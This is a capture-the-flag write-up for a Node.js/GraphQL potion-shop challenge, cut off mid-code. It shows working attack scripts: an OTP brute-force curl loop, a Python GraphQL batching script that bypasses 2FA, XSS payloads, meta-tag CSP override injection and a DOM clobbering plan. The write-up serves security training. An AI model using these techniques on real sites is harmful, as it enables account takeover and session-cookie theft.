BatchCraft Potions
22 minutes to read
We are given this website:
Static code analysis
We are provided with the JavaScript source code of the web application, built with Node.js and Express JS. This is index.js
:
const express = require('express');
const app = express();
const path = require('path');
const cookieParser = require('cookie-parser');
const nunjucks = require('nunjucks');
const routes = require('./routes');
const Database = require('./database');
global.db = new Database();
app.use(express.json());
app.use(cookieParser());
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.set('etag', false);
app.use(routes());
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
(async () => {
await global.db.connect();
await global.db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
This is a normal script. It points to routes/index.js
and database.js
.
Database implementation
This is a large file, but I leave it here in case you want to analyze it in depth:
const mysql = require('mysql')
const crypto = require('crypto');
const OTPHelper = require('./helpers/OTPHelper');
class Database {
constructor() {
this.connection = mysql.createConnection({
host: '127.0.0.1',
user: 'batchcraftpotions',
password: 'batchcraftpotions',
database: 'batchcraftpotions'
});
}
async connect() {
return new Promise((resolve, reject)=> {
this.connection.connect((err)=> {
if(err)
reject(err)
resolve()
});
})
}
async migrate() {
let otpkey = OTPHelper.genSecret();
let stmt = `INSERT IGNORE INTO users(username, password, otpkey, is_admin) VALUES(?, ?, ?, ?)`;
this.connection.query(
stmt,
[
'vendor53',
'PotionsFTW!',
otpkey,
0
],
(err, _) => {
if(err)
console.error(err);
}
)
}
async loginUser(username, password) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT username, otpkey FROM users WHERE username = ? and password = ?`;
this.connection.query(
stmt,
[
String(username),
String(password)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getUser(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM users WHERE username = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getOTPKey(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT otpkey FROM users WHERE username = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotions() {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products where product_approved = 1`;
this.connection.query(
stmt, [],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotionsByUser(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products WHERE product_seller = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
async getPotionByID(id) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM products WHERE id = ?`;
this.connection.query(
stmt,
[
String(id)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async getAddedPotionID(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT id FROM products WHERE product_seller = ? ORDER BY id DESC LIMIT 1`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
let rows = JSON.parse(JSON.stringify(result))
resolve(rows.length ? rows[0] : {})
}
catch (e) {
reject(e)
}
}
)
});
}
async addPotion(data) {
return new Promise(async (resolve, reject) => {
let stmt = `
INSERT INTO products(
product_name,
product_desc,
product_price,
product_category,
product_keywords,
product_og_title,
product_og_desc,
product_seller,
product_approved
)
VALUES (?,?,?,?,?,?,?,?,?)`;
this.connection.query(
stmt,
[
data.product_name,
data.product_desc,
data.product_price,
data.product_category,
data.product_keywords,
data.product_og_title,
data.product_og_desc,
data.product_seller,
data.product_approved
],
(err, _) => {
if(err)
return reject(err)
resolve()
}
)
});
}
}
module.exports = Database;
Everything looks correct since the queries are using prepared statements, so SQL injection is not possible.
Fortunately, we have valid credentials: vendor53:PotionsFTW!
.
Unfortunately, there is 2FA enabled…
OTP implementation
The 2FA uses an OTP implementation in helpers/OTPHelper.js
:
const { authenticator } = require('@otplib/preset-default');
const qrcode = require('qrcode');
authenticator.options = { digits: 4 };
const genSecret = () => {
return authenticator.generateSecret();
}
const genPin = (secret) => {
return authenticator.generate(secret);
}
const genQRcode = async (username, secret) => {
return new Promise(async (resolve, reject) => {
const otpauth = authenticator.keyuri(username, 'Genesis', secret);
qrcode.toDataURL(otpauth, (err, imageUrl) => {
if (err) reject(err);
resolve(imageUrl);
});
});
}
const verifyOTP = async (otpkey, otp) => {
return new Promise(async (resolve, reject) => {
try {
isValid = authenticator.check(otp, otpkey);
if (isValid) return resolve(true);
return resolve(false);
}
catch (err) {
resolve(false);
}
});
}
module.exports = {
genQRcode,
genSecret,
verifyOTP,
genPin
}
It uses @otplib/preset-default
with an updated version. Nothing seems to be vulnerable here. Although there is a way to generate a QR code, this feature is never used.
The OTP codes have 4 digits, which makes it prone to a brute force attack. We can copy the request from the browser as a curl
command and perform the brute force attack with a loop:
$ curl 178.62.84.158:32007/graphql -d '{"query":"mutation($otp: String!) { verify2FA(otp: $otp) { message, token } }","variables":{"otp":"1234"}}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE2NzAzMTkzNDN9.zac2-EkzJ8Ly4newAgepKVqPk2P0u22YZAkR3y0sPqk'
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
$ for c in {0000..9999}; do echo $c; done | head
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009
$ for c in {0000..9999}; do curl 178.62.84.158:32007/graphql -d '{"query":"mutation($otp: String!) { verify2FA(otp: $otp) { message, token } }","variables":{"otp":"'$c'"}}' -H 'Content-Type: application/json' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOmZhbHNlLCJpYXQiOjE2NzAzMTkzNDN9.zac2-EkzJ8Ly4newAgepKVqPk2P0u22YZAkR3y0sPqk'; echo; done
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
{"errors":[{"message":"Error: Invalid OTP supplied!","locations":[{"line":1,"column":27}],"path":["verify2FA"]}],"data":{"verify2FA":null}}
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
<html>
<head><title>429 Too Many Requests</title></head>
<body>
<center><h1>429 Too Many Requests</h1></center>
<hr><center>nginx</center>
</body>
</html>
Well, we had to try it. There is a rate limit set in the nginx configuration:
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /dev/stdout docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
limit_req_zone global zone=global_rate_limit:5m rate=20r/m;
limit_req_status 429;
server {
listen 80;
server_name batchcraft-potions.htb;
location /graphql {
limit_req zone=global_rate_limit burst=5 nodelay;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header Host: $http_host;
proxy_pass http://127.0.0.1:1337;
}
location / {
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header Host $http_host;
proxy_pass http://127.0.0.1:1337;
}
}
}
And we cannot bypass the rate limit using headers like X-Forwarded-For
since nginx copies our real IP address to X-Forwarded-For
. Anyway, we should try all headers listed in HackTricks, but none of them work. So, we must find another way of bypassing 2FA.
The OTP implementation looks correct and the seed is generated by the third-party library, which is up-to-date, so there are no vulnerabilities.
One interesting thing is that the OTP request is handled by GraphQL.
Available routes
This is routes/index.js
:
const bot = require('../bot');
const express = require('express');
const router = express.Router();
const { graphqlHTTP } = require('express-graphql');
const { execSync } = require('child_process');
const { existsSync } = require('fs');
const AuthMiddleware = require('../middleware/AuthMiddleware');
const GraphqlSchema = require('../helpers/GraphqlHelper');
const Joi = require('joi');
const FilterHelper = require('../helpers/FilterHelper');
let adminReviewing = false;
const response = data => ({ message: data });
router.use('/graphql', AuthMiddleware, graphqlHTTP((req, res) => {
return {
schema: GraphqlSchema,
graphiql: false,
context: {req, res}
}
}));
router.get('/', async (req, res) => {
products = await db.getPotions();
return res.render('index.html', {products});
});
router.get('/products/:id', async (req, res) => {
const { id } = req.params;
product = await db.getPotionByID(id);
if ( !product.id || product.product_approved == 0) return res.redirect('/');
let meta = FilterHelper.generateMeta(
product.product_og_title,
product.product_og_desc,
product.product_keywords
);
return res.render('product.html', {meta, product});
});
router.get('/login', (req, res) => {
return res.render('login.html');
});
router.get('/2fa', AuthMiddleware, async (req, res, next) => {
return res.render('2fa.html', {user: req.user});
});
router.get('/dashboard', AuthMiddleware, async (req, res, next) => {
products = await db.getPotionsByUser(req.user.username);
return res.render('dashboard.html', {user: req.user, products});
});
router.post('/api/products/add', AuthMiddleware, async (req, res) => {
if (adminReviewing) return res.status(500).send('Rate limited!');
const schema = Joi.object({
product_name: Joi.string().required(),
product_desc: Joi.string().required(),
product_price: Joi.number().required(),
product_category: Joi.number().min(1).max(100).required(),
product_keywords: Joi.string().required(),
product_og_title: Joi.string().required(),
product_og_desc: Joi.string().required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(500).send(response(error.message));
}
value.product_desc = FilterHelper.filterHTML(value.product_desc);
value.product_seller = req.user.username;
value.product_approved = 0;
try {
await db.addPotion(value);
}
catch (e) {
console.log(e)
return res.status(500).send(response('Something went wrong!'));
}
let potion = await db.getAddedPotionID(req.user.username);
try {
adminReviewing = true;
await bot.previewProduct(potion.id);
adminReviewing = false;
return res.send(response('Potion added and being reviewed by admin!'));
}
catch(e) {
console.log(e);
adminReviewing = false;
return res.status(500).send(response('Something went wrong'));
}
});
router.get('/products/preview/:id', async (req, res) => {
const { id } = req.params;
product = await db.getPotionByID(id);
if ( !product.id ) return res.redirect('/');
let meta = FilterHelper.generateMeta(
product.product_og_title,
product.product_og_desc,
product.product_keywords
);
return res.render('product.html', {meta, product});
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
module.exports = () => {
return router;
};
There are a lot of routes, but most of them are protected with AuthMiddleware
:
const JWTHelper = require('../helpers/JWTHelper');
module.exports = async (req, res, next) => {
try {
if (req.cookies.session === undefined) {
if (req.originalUrl === '/graphql') return next();
if (!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return JWTHelper.verify(req.cookies.session)
.then(user => {
req.user = user;
if (req.originalUrl === '/graphql' || req.originalUrl === '/2fa') return next();
if (user.verified === false) return res.redirect('/login');
return next();
})
.catch((e) => {
if (req.originalUrl === '/graphql') return next();
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
Basically, it uses JWT to manage user authentication. If the token is not verified, we are only allowed to access /2fa
and /graphql
. This time the implementation is correct, because it uses JWTHelper.verify
and not decode
as in The Magic Informer.
In JWTHelper.js
everything looks correct as well:
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const SECRET = crypto.randomBytes(69).toString('hex');
module.exports = {
async sign(data) {
return jwt.sign(data, SECRET, {
algorithm: 'HS256'
});
},
async verify(token) {
return jwt.verify(token, SECRET, {
algorithm: 'HS256'
});
}
};
At this point, we are allowed to access:
- GET
/
- GET
/login
- GET
/2fa
- POST
/graphql
- GET
/products/:id
- GET
/products/preview/:id
The only request that seems interesting is GraphQL.
Attacking GraphQL
I only dealt with GraphQL once in OverGraph. In fact, there was also an OTP bypass, but had to do with NoSQLi.
This time, I had to research on how to work with GraphQL (send queries, run mutations, etc.) and look for vulnerabilities or bad implementations. I tried to query the OTP key used to generate the codes (which is stored in the database), but it was not possible due to the schema defined in GraphQLHelper.js
:
const JWTHelper = require('./JWTHelper');
const OTPHelper = require('./OTPHelper');
const {
GraphQLObjectType,
GraphQLSchema,
GraphQLNonNull,
GraphQLString,
GraphQLError
} = require('graphql');
const ResponseType = new GraphQLObjectType({
name: 'Response',
fields: {
message: { type: GraphQLString },
token: { type: GraphQLString }
}
});
const queryType = new GraphQLObjectType({
name: 'Query',
fields: {
_dummy: { type: GraphQLString }
}
});
const mutationType = new GraphQLObjectType({
name: 'Mutation',
fields: {
LoginUser: {
type: ResponseType,
args: {
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, {req, res}) => {
return new Promise((resolve, reject) => {
db.loginUser(args.username, args.password)
.then(async (user) => {
if (user.length) {
let token = await JWTHelper.sign({
username: user[0].username,
verified: false
});
res.cookie('session', token, { maxAge: 3600000 });
resolve({
message: "User logged in successfully!",
token: token
});
};
reject(new Error("Username or password is invalid!"));
})
.catch(err => reject(new GraphQLError(err)));
});
}
},
verify2FA: {
type: ResponseType,
args: {
otp: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, {req, res}) => {
if (!req.user) return reject(new GraphQLError('Authentication required!'));
return new Promise(async (resolve, reject) => {
secret = await db.getOTPKey(req.user.username);
if (await OTPHelper.verifyOTP(secret.otpkey, args.otp)) {
let token = await JWTHelper.sign({
username: req.user.username,
verified: true
});
res.cookie('session', token, { maxAge: 3600000 });
resolve({
message: "2FA verified successfully!",
token: token
});
}
else {
reject(new GraphQLError(new Error('Invalid OTP supplied!')));
}
});
}
}
}
});
module.exports = new GraphQLSchema({
query: queryType,
mutation: mutationType
});
There is only two types defined (Query
and Response
). In Query
we only have _dummy
, which is useless; and Response
type is used to send back information from mutations.
There are two mutations: LoginUser
and verify2FA
. Both implementations look correct.
When looking through PayloadsAllTheThings, I saw at the bottom of the page a list of GraphQL batching attacks, which is a way to execute multiple mutations within the same HTTP request. In fact, the repository says:
Common scenario:
- Password Brute-force Amplification Scenario
- 2FA bypassing
This is exactly our situation. Here there are other blogs that explain this attack: lab.wallarm.com, escape.tech.
Let’s see a proof of concept of this GraphQL batching attack in Burp Suite (I will be testing locally with the Docker container available from the challenge). This is a normal query:
And this one is using GraphQL batching attack (two OTP codes in the same request):
This is great, we are receiving the result for two OTP codes within the same response. Therefore, we can query for 1000 different OTP codes and receive back the result of each of them. If none of them is correct, we can send the next 1000 until we find the expected OTP code (which will come with the verified JWT token).
Notice that we can’t send all combinations (10000) in a single request because the web server will give an error for the large amount of data sent.
Exploit development
Let’s use Python with requests
to perform the attack and get the verified JWT token. This is the relevant part:
def main():
host = sys.argv[1]
token = ''
s = requests.session()
r = s.post(f'http://{host}/graphql',
json={
'query': 'mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }',
'variables': {
'username': 'vendor53',
'password': 'PotionsFTW!'
}
}
)
while not token:
for i in range(10):
variables = {}
query = 'mutation('
for test_otp in range(i * 1000, (i + 1) * 1000):
query += f'$o{test_otp:04d}:String!,'
variables[f'o{test_otp:04d}'] = f'{test_otp:04d}'
query = query[:-1] + '){'
for test_otp in range(i * 1000, (i + 1) * 1000):
query += f'o{test_otp:04d}:verify2FA(otp:$o{test_otp:04d}){{message,token}},'
query += '}'
r = s.post(f'http://{host}/graphql', json={"query": query, "variables": variables})
if 'eyJ' in r.text:
token = re.findall(r'"token":"(.*?)"', r.text)[0]
break
time.sleep(2)
print(token)
Notice that I removed unnecessary white spaces and shortened the variable names to save space. In a few seconds, we will have a verified token:
$ python3 solve.py 127.0.0.1:1337
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
$ echo eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0 | base64 -d
{"username":"vendor53","verified":true,"iat":167
If we update our session cookie, we will see /dashboard
:
At this point we can access these routes because AuthMiddleware
won’t block our requests anymore:
- GET
/dashboard
- POST
/api/products/add
More source code analysis
This is the function that handles endpoint /api/products/add
:
router.post('/api/products/add', AuthMiddleware, async (req, res) => {
if (adminReviewing) return res.status(500).send('Rate limited!');
const schema = Joi.object({
product_name: Joi.string().required(),
product_desc: Joi.string().required(),
product_price: Joi.number().required(),
product_category: Joi.number().min(1).max(100).required(),
product_keywords: Joi.string().required(),
product_og_title: Joi.string().required(),
product_og_desc: Joi.string().required()
});
const { error, value } = schema.validate(req.body);
if (error) {
return res.status(500).send(response(error.message));
}
value.product_desc = FilterHelper.filterHTML(value.product_desc);
value.product_seller = req.user.username;
value.product_approved = 0;
try {
await db.addPotion(value);
}
catch (e) {
console.log(e)
return res.status(500).send(response('Something went wrong!'));
}
let potion = await db.getAddedPotionID(req.user.username);
try {
adminReviewing = true;
await bot.previewProduct(potion.id);
adminReviewing = false;
return res.send(response('Potion added and being reviewed by admin!'));
}
catch(e) {
console.log(e);
adminReviewing = false;
return res.status(500).send(response('Something went wrong'));
}
});
Triggering XSS
Here we need to enter a lot of product attributes and they are verified by Joi
, which is up-to-date. Then, the script uses FilterHelper.filterHTML
to sanitize value.product_desc
. Indeed, we can take a look at the templates, this is views/product.html
:
<!DOCTYPE html>
<html lang="en" class="rpgui-cursor-default">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>BatchCraft Potions Shop</title>
<meta name="author" content="rayhan0x01">
<link rel="stylesheet" href="/static/vendors/base/vendor.bundle.base.css">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/vendors/rpgui/rpgui.min.css">
<link rel="stylesheet" href="/static/css/carousel.css">
<link rel="stylesheet" href="/static/css/site.css">
<link rel="stylesheet" href="/static/css/product.css">
<link rel="shortcut icon" href="/static/images/favicon.png" />
{{ meta | safe }}
</head>
<body class="rpgui-content">
<div class="container reset-pos rpgui-container framed-golden-2 shop-header-container">
<a href="/" id="goback"><img src="/static/images/goback.png"></a>
<p class="shop-header"><span class="mage">🧙♀️</span> BatchCraft Potions Shop <span class="mage">🧙</span></p>
</div>
<div class="container reset-pos rpgui-container framed potions-container">
<div class="row w-100 g-0">
<div class="col-5 text-center">
<div class="potion-item" data-category="{{ product.product_category }}">
</div>
</div>
<div class="col-7">
<div class="reset-pos rpgui-container framed-golden-2 detail-container">
<p class="product-name">{{ product.product_name }}</p>
<div class="product-desc">{{ product.product_desc | safe }}</div>
<div class="row w-100 g-0 action-row">
<div class="col">
<div class="product-price">Price : $ {{ product.product_price }}</div>
<div class="product-quantity row g-0 w-100">
<div class="col mt-2">
Quantity :
</div>
<div class="col quantity-select">
<select class="rpgui-dropdown">
<option value="option1">1</option>
<option value="option2">3</option>
<option value="option2">5</option>
</select>
</div>
</div>
</div>
<div class="col justify-content-center align-items-center">
<div class="product-purchase text-center">
<button class="rpgui-button" type="button"><p class="pt-3">Purchase</p></button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container reset-pos rpgui-container framed-golden-2">
<img src="/static/images/open.png" class="open-banner">
</div>
<div class="container reset-pos rpgui-container framed-golden-2"></div>
<script src="/static/js/jquery.min.js"></script>
<script src="/static/vendors/rpgui/rpgui.min.js"></script>
<script src="/static/js/global.js"></script>
<script src="/static/js/product.js"></script>
</body>
</html>
Do you see something weird? Yes, there is {{ product.product_desc | safe }}
, which tells the template engine (nunjucks
) that product.product_desc
actually contains safe HTML code, so the template engine won’t sanitize the contents.
Failed attempts
When I first saw the source code I was sure that this could trigger a Cross-Site Scripting attack (XSS) on the bot that reviews our products. When I bypassed the OTP and got here, I saw that FilterHelper.filterHTML
was blocking my attack strategy:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const filterHTML = (userHTML) => {
window = new JSDOM('').window;
DOMPurify = createDOMPurify(window);
return DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['strong', 'em', 'b', 'img', 'a', 's', 'ul', 'ol', 'li']
});
}
const filterMeta = (metaHTML) => {
window = new JSDOM('').window;
DOMPurify = createDOMPurify(window);
sanitized = DOMPurify.sanitize(metaHTML, {
ALLOWED_TAGS: ['meta'],
ALLOWED_ATTR: ['name', 'content', 'property', 'http-equiv'],
WHOLE_DOCUMENT: true
});
return new JSDOM(sanitized).window.document.head.innerHTML;
}
const generateMeta = (title, description, keywords) => {
return filterMeta(
`
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'">
<meta property="og:title" content="${title}" />
<meta property="og:description" content="${description}" />
<meta name="keywords" content="${keywords}" />
`);
}
module.exports = {
filterMeta,
filterHTML,
generateMeta
};
As you can see, filterHTML
only allows specific tags. One good thing is having img
tags, since it is enough for XSS. However, DOMPurify.sanitize
removes any malicious content on HTML, so no classic XSS payload:
<img src="x" onerror="alert(123)">
Moreover, dompurify
and jsdom
are up-to-date, so no available exploits on these.
But there are also other functions like generateMeta
and filterMeta
. We are allowed to add content to meta
tags, and also inject more meta
tags if needed, because we can enter a double quote ("
) and escape from the content="${variable}"
environment.
The function filterMeta
will only allow name
, content
, property
and http-equiv
attributes for meta
tags. There is a way to trigger XSS with meta
tags:
<meta http-equiv="refresh" content="0; data:text/html;base64,PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K">
This payload will refresh the site and access the data:
URL, which has an embedded HTML document:
$ echo PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K | base64 -d
<script> alert(123) </script>
At this point, I was sure that I found the way to get XSS on the bot. By the way, this is bot.js
:
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const fs = require('fs');
const flag = fs.readFileSync('/flag.txt').toString();
const browser_options = {
headless: true,
executablePath: '/usr/bin/chromium-browser',
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless'
]
};
const previewProduct = async (id) => {
const browser = await puppeteer.launch(browser_options);
try {
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', verified: true, flag: flag });
await page.setCookie({
name: "session",
value: token,
domain: "127.0.0.1"
});
await Promise.race(
[
page.goto(`http://127.0.0.1/products/preview/${id}`, {
waitUntil: 'networkidle2'
}),
new Promise(function (reject) {
setTimeout(function (){
reject();
}, 7000);
}),
]
);
}
finally {
await browser.close();
}
};
module.exports = { previewProduct };
Important things here is that the flag is stored in a JWT token, which is the bot’s session cookie. Another relevant thing (or issue) is that the bot uses Headless Chrome. I say issue because the XSS with meta
tag only works on Safari nowadays (more information in stackoverflow.com).
We can try just in case, but Chrome will block the data:
and javascript:
URLs. For that, I reused the Python script to send the request using the verified JWT token:
s.cookies.set('session', token)
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<img src="x" onerror="alert(123)">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''0; data:text/html;base64,PHNjcmlwdD4gYWxlcnQoMTIzKSA8L3NjcmlwdD4K" http-equiv="refresh''',
})
print(r.text)
Using the above code, we will get a preview product on id = 7
. If we open the product on Chrome (the same way the bot will do), we have this error message:
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
We can confirm that the payload in product.product_desc
is correctly sanitized:
At first, I thought that the data:
and javascript:
URLs were being blocked due to the Content-Security-Policy (script-src 'self' 'unsafe-inline'
). Since we can use meta
tags, we can overwrite the Content-Security-Policy (CSP) and set one that fits to our needs. For instance, we can add data:
URLs with script-src 'self' 'unsafe-inline' data:
. But then I saw that it was Chrome the one blocking the requests, not the CSP.
I even tried to use gopher://
protocol to somehow talk to MySQL and try to do something useful. But again, Chrome does not implement this protocol anymore.
To summarize:
- We can add some HTML code in
product_desc
, but it will be sanitized withDOMPurify.sanitize
- We can use
meta
tags to redefine the CSP
DOM Clobbering
There is no easy way to do XSS… There is a pretty clever technique that we can use at the last base regarding XSS challenges. I’m referring to DOM Clobbering (more information in portswigger.net):
DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes
id
orname
are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.
Other good resources regarding DOM Clobbering are: www.securebinary.in and another post from portswigger.net.
Planning the attack
To perform the DOM Clobbering technique, we must find a JavaScript code that uses global variables (from the window
object) and overwrite them with HTML code.
In views/product.html
we have static/js/global.js
, static/js/product.js
(and then jQuery and other third-party stuff):
<script src="/static/js/jquery.min.js"></script>
<script src="/static/vendors/rpgui/rpgui.min.js"></script>
<script src="/static/js/global.js"></script>
<script src="/static/js/product.js"></script>
</body>
</html>
static/js/global.js
:
window.potionTypes = [
{
"id": 1,
"name":"Snake Charm",
"src":"/static/images/snakecharm.jpg"
},
{
"id": 2,
"name":"Fairy Dust",
"src":"/static/images/fairydust.jpg"
},
{
"id": 3,
"name":"Gemini Stone",
"src":"/static/images/geministone.jpg"
},
{
"id": 4,
"name":"Fire Born",
"src":"/static/images/fireborn.jpg"
},
{
"id": 5,
"name":"Dragon Breath",
"src":"/static/images/dragonbreath.jpg"
},
{
"id": 6,
"name":"Dark Spell",
"src":"/static/images/darkspell.jpg"
}
]
const showToast = (msg, fixed=false) => {
$('#globalToast').hide();
$('#globalToast').show();
$('#globalToastMsg').text(msg);
if (!fixed) {
setTimeout(() => {
$('#globalToast').hide();
}, 2500);
}
}
static/js/product.js
:
$(document).ready(function(){
loadPotionImage();
})
const loadPotionImage = () => {
let product = $('.potion-item');
for (i = 0; i < potionTypes.length; i++) {
if (product.data('category') == potionTypes[i].id) {
product.prepend(`<p class='reset-pos rpgui-container framed-golden-2'>Potion Type: ${potionTypes[i].name}</p>`);
product.prepend(`<img src='${potionTypes[i].src}' class='category-img'>`);
}
}
}
After reading about DOM Clobbering, it is pretty clear that we need to clobber window.potionTypes
. However, we need to tell the browser not to load static/js/global.js
…
Here comes the fact that we can update the CSP, so we can use something like:
script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js
That way, only static/js/product.js
and jQuery will be allowed (static/js/global.js
will be blocked). Let’s try it:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<img src="x" onerror="alert(123)">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
This does not work as expected because we are accessing from 127.0.0.1:1337
and not from 127.0.0.1
(port 80). We can change it to see that it should work:
There we have it: static/js/global.js
is blocked and potionTypes
is undefined.
Let’s take another look at static/js/product.js
:
$(document).ready(function(){
loadPotionImage();
})
const loadPotionImage = () => {
let product = $('.potion-item');
for (i = 0; i < potionTypes.length; i++) {
if (product.data('category') == potionTypes[i].id) {
